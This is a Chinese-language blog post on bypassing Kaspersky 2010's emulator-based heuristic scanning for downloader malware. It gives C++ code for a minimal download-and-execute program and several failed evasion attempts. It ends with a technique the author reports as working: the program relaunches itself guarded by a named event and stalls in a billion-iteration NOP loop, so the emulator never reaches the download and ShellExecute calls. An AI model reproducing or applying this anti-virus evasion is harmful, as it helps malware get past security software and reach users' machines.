天天看點

卡巴虛拟機啟發式查毒的繞過方法

卡巴虛拟機啟發式查毒的繞過方法

據我了解在卡巴7中就有虛拟啟發式查毒的功能。國内就有人在BLOG上發表了一篇如何突破卡巴7的虛拟機啟發式查毒的文章[1]。卡巴8和最新的卡巴2010中仍然具有該功能。卡巴斯基不用我多說了,大家都知道。

我最近在網上查到有人說卡巴斯基是俄羅斯國家科學院合作開發的,軍方和克裡姆林宮專用。這個我還真的不清楚了,請原諒我的無知。我先來說下什麼是虛拟機啟發式殺毒。

我認為在這裡的虛拟機啟發式殺毒應該可以了解為在虛拟機中執行和啟發式殺毒。虛拟機即構造一個虛拟執行環境或者說一個仿真的環境,将病毒等惡意代碼在該仿真的環境中運作實作自己脫殼等等。該仿真的環境和使用者計算機的真實環境是隔離的。

舉個例子:現在的惡意代碼都采用加殼為自己提供保護,尤其是一些已知病毒的變種。當采用虛拟機執行技術加殼保護的惡意代碼仍能被防毒軟體檢測到,有能力的讀者可以自己實驗一下。

啟發式指的是自我發現并推斷或判定事物的方式。啟發式殺毒通過分析程式指令的序列或者API函數的調用順序以及其他惡意代碼與正常程式的不同等經驗和知識的組合來判定是否是惡意代碼。這樣的啟發式殺毒具備某種人工智能特點。它的優點不用我多說廢話,舉個例子:Downloader相信大家都知道,最重要的兩個API是URLDownloadToFile和ShellExecute(也可以是其他執行一個程式的API)。例如,在使用虛拟機啟發式殺毒時,當被查毒程式的API調用序列中出現URLDownloadToFile或者ShellExecute,又或者不是按照先URLDownloadToFile後ShellExecute的調用順序是不會被報Downloader的。

可以說由于主動防禦技術的種種缺點,現在各防毒軟體廠商已經将虛拟機殺毒和啟發式殺毒作為殺毒業界的追求和探索的目标。可以預見到在未來幾年内防毒軟體将不再會出現當正常使用系統和軟體時頻繁彈出主動防禦視窗的尴尬。

接下來将通過上面提到的Downloader例子分析下卡巴的虛拟機啟發式查毒的特點,并在最後給出一種可能的繞過方法和示範代碼,供各位看官賞玩。

我假設您已經知道什麼是Downloader,一個最簡單的Downloader是:

#include "stdafx.h"
#include <urlmon.h>
#include <Shellapi.h>
#pragma comment (lib,"Urlmon.lib")

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	TCHAR szFileName[MAX_PATH] = {0};
	URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
	ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
	return 0;
}
           

這個程式是使用Visual Studio 2008建立的Win32視窗工程。編譯後卡巴2010直接報Downloader。首先使用了之前提到的xyzreg提到的方法,現在在卡巴2010下已經不适用,簡單的測試了一下卡巴2010會把自己模拟成explorer.exe。是以檢查父程序是否是explorer.exe的方法不行了,但是如果檢查自己的父程序是否是cmd.exe就可以了。當然這個實用性并不強,因為要求Downloader必須由cmd.exe啟動。

我覺得應該有其他的方法可以逃過虛拟查毒,但是這裡隻從虛拟查毒本身入手。首先想到的是這個虛拟機和真實環境是否有差別?這個回答當然是肯定的。但是這些差別在哪裡,這些差別是否會影響到。是否存在一種情況虛拟機無法虛拟而導緻虛拟環境下無法執行到URLDownloadToCacheFile和ShellExecute那就不會檢查到是Downloader了。這個思想很簡單,然後要怎麼實作呢。

首先想到虛拟機是否虛拟了異常處理,如果沒有虛拟異常處理,那我們認為的制造一個異常,将具有Downloader特性的API調要放到異常處理程式中不就繞過了嗎。于是有了下面的代碼

BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult)
{
    __try
    {
		*pResult = dividend / divisor;
    }
    __except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ?
             EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
    {
		TCHAR szFileName[MAX_PATH] = {0};
	URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
		ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
		return TRUE;
    }
    return TRUE;
}
           

在Downloader的程式入口以參數divisor為0調用這個SafeDiv函數,。這樣就會産生一個除0的錯誤。結果是卡巴報Downloader!看樣子卡巴有對異常處理虛拟的能力。

恩。。。如果我在代碼中添加int 3中斷會發生什麼情況呢?應該也虛拟了。現在就來試試,果然在Downloader入口添加int 3後當然是查不出來了,呵呵,程式也運作不了了。接下來就看看能不能找到方法讓程式在真實情況下能運作在,虛拟機下停住了。沒有多久想了一個替代的方法,判斷程式的輸入參數。通過檢查程式的輸入參數來控制程式的執行流程。簡單的在Downloader入口添加判斷程式參數的代碼:

if(strcmp(argv[1],"1")!== 0)
		return;
           

程式運作時輸入參數“1”程式執行Downloader的功能,在虛拟機中執行時沒有參數輸入是以程式傳回,檢測不到惡意函數調用順序。當然這樣的惡意代碼是醜陋的,是以我想到使用CreateProcess來啟動Downloader自己的另一個執行個體。代碼如下:

部分變量聲明和初始化代碼省略。。。

INT32 divisor = 1;
	if(argc == 1)
	{
		TCHAR szPath[MAX_PATH];
		GetModuleFileName(NULL,szPath,MAX_PATH);
		CreateProcess(szPath,L"1 2",NULL,NULL,FALSE,0,NULL,NULL,&si,π);
		ExitProcess(0);
		return;
	}

	if(strcmp(argv[1],"2") == 0)
		divisor = 0;
	SafeDiv(10,divisor,&Result);
ExitProcess(0);
	return;
}
           

編譯成功後,使用卡巴2010查毒。報Downloader!失望啊!

将對函數參數檢查的方式換成使用“命名對象”的方式:

//定義一個“命名對象”
TCHAR szMutex[] = L”11111”;
HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory( &si, sizeof(si) );
	si.cb = sizeof(si);
	ZeroMemory( π, sizeof(pi) );
	TCHAR szPath[MAX_PATH];
	GetModuleFileName(NULL,szPath,MAX_PATH);

	CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,π);
	return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
           

報Downloader!失望!

看樣子卡巴的虛拟機對API的模拟和程式執行的流程虛拟很到位!不知道對時間的虛拟的怎麼樣?代碼中有Sleep(10000000)的語句會不會影響虛拟查毒的時間呢?根據我的實驗在其中加入Sleep函數睡眠很長的一段時間并沒有影響虛拟殺毒查出Downloader的時間,是以估計對時間的虛拟可能不好。将上面的代碼中在CreateProcess調用之後調用Sleep睡眠一段較長的時間如5秒,然後調用CloseHandle關閉“命名事件”。

如果卡巴遇到Sleep函數簡單的跳過,則在虛拟機中執行的順序将是先執行Sleep後的CloseHandle關閉事件,然後再進入到新執行個體中建立“命名事件”,在這種情況下就能建立成功,是以程式的執行流程不會進入到URLDownloadToCacheFile處,以此繞過檢測。但是實際情況時仍然被報Downloader,說明卡巴2010對Sleep等時間相關的函數虛拟的也很好。

到這裡停下來想想,我們已經掌握了卡巴虛拟機執行的許多特性了,最理想的方案是在上述方法中進行改進,能達到對卡巴虛拟機執行的時間方面的攻擊。于是想到使用大量無意義的代碼塊來模拟Sleep函數的功能,原因是對于大量循環的無意義操作卡巴是否完全虛拟其執行,我想應該是沒有的。于是代碼變為:

#include "stdafx.h"
#include <urlmon.h>
#include <Shellapi.h>
#include <intrin.h>
#pragma comment (lib,"Urlmon.lib")

// Global Variables:
HINSTANCE hInst;    // current instance

// Forward declarations of functions included in this code module:

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	TCHAR szMutex[] = L"1111";
	HANDLE hEvnet = CreateEvent(NULL,NULL,NULL,szMutex);
	int tmp = GetLastError();
	if(tmp == 0)
	{
		STARTUPINFO si;
		PROCESS_INFORMATION pi;

		ZeroMemory( &si, sizeof(si) );
		si.cb = sizeof(si);
		ZeroMemory( π, sizeof(pi) );
		TCHAR szPath[MAX_PATH];
		GetModuleFileName(NULL,szPath,MAX_PATH);

		CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,π);
		for(int i = 0;i < 1000000000; i++)
			__nop();
		CloseHandle(hEvnet);
		return 0;
	}
	TCHAR szFileName[MAX_PATH] = {0};
	URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
	ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
	return 0;
}
           

編譯。對該檔案執行查毒,沒有檢測到威脅。成功了。

總的說來,卡巴的虛拟機沒有真正的像真實環境一樣對像

for(int i = 0;i < 1000000000; i++)
			__nop();
           

這樣的語句塊進行真正的執行,導緻虛拟機的時間和真實環境下的時間不一緻導緻在虛拟機中和真實環境下的執行流程的不一樣。這樣就實作了對卡巴虛拟查毒的繞過。

總的說來,卡巴斯基是一個很強大的防毒軟體,殺毒能力确實也比較強,但是也不應該過分相信卡巴。有人說的好,要讓人正确認識卡巴斯基這個優秀的防毒軟體。

另外,本文的基于逾時的攻擊思路和這篇2年前的文章[2]頗有一番異曲同工之妙,而”Timing Attack”在Google Scholar上的搜尋結果有1,110,000[3]條!希望通過本文,能夠讓各位看官重新認識Timing Attack的奇妙之處。

最後,嚴重的感謝一下c4pr1c3的幫助和關懷。

相關文獻:

[1] http://www.xyzreg.net/blog/read.php?39&page=5

[2] http://www.sensepost.com/research/squeeza/dc-15-meer_and_slaviero-WP.pdf

[3] http://scholar.google.com/scholar?q=timing+attack&hl=en&btnG=Search

引用:http://huaidan.org/archives/3440.html

繼續閱讀